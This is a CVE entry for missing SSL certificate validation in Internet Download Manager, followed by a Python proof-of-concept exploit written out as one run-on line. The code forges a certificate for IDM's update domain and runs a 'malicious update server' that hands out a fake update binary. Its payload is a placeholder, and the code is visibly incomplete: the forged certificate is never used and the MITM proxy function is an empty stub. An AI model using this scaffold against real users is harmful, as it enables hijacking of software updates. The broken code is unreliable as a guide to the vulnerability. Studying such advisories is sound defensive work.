CVE-2025-56231 | Tonec Internet Download Manager 缺少SSL证书验证漏洞

# CVE-2025-56231 PoC - Missing SSL Certificate Validation in IDM # This PoC demonstrates how an attacker can exploit the missing SSL validation import ssl import socket import http.server import socketserver from OpenSSL import crypto import threading # Generate self-signed certificate for MITM attack def generate_self_signed_cert(): # Create key pair key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) # Create certificate cert = crypto.X509() cert.get_subject().C = "US" cert.get_subject().O = "IDM Update Server" cert.get_subject().CN = "update.internetdownloadmanager.com" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key) cert.sign(key, 'sha256') return key, cert # Malicious update server handler class MaliciousUpdateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if '/update' in self.path or 'IDMSetup' in self.path: # Serve malicious update payload malicious_payload = self.generate_malicious_binary() self.send_response(200) self.send_header('Content-Type', 'application/octet-stream') self.send_header('Content-Length', len(malicious_payload)) self.end_headers() self.wfile.write(malicious_payload) print('[+] Malicious update sent to victim') def generate_malicious_binary(self): # Placeholder for actual malicious binary return b'MZ' + b'\x00' * 100 # Simple placeholder # Start MITM proxy with SSL stripping def start_mitm_proxy(): # Create SSL context that accepts any certificate (simulating IDM behavior) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False # Vulnerable: hostname check disabled context.verify_mode = ssl.CERT_NONE # Vulnerable: certificate validation disabled # Note: In real attack, this would intercept and forward traffic # while serving malicious updates pass if __name__ == '__main__': print('CVE-2025-56231 PoC - IDM SSL Validation Bypass') print('This demonstrates the missing SSL certificate validation') print('WARNING: For educational and authorized testing only') # Generate malicious certificate key, cert = generate_self_signed_cert() print('[+] Generated self-signed certificate for MITM attack') # Start malicious update server PORT = 443 with socketserver.TCPServer(('', PORT), MaliciousUpdateHandler) as httpd: print(f'[+] Malicious server listening on port {PORT}') httpd.serve_forever()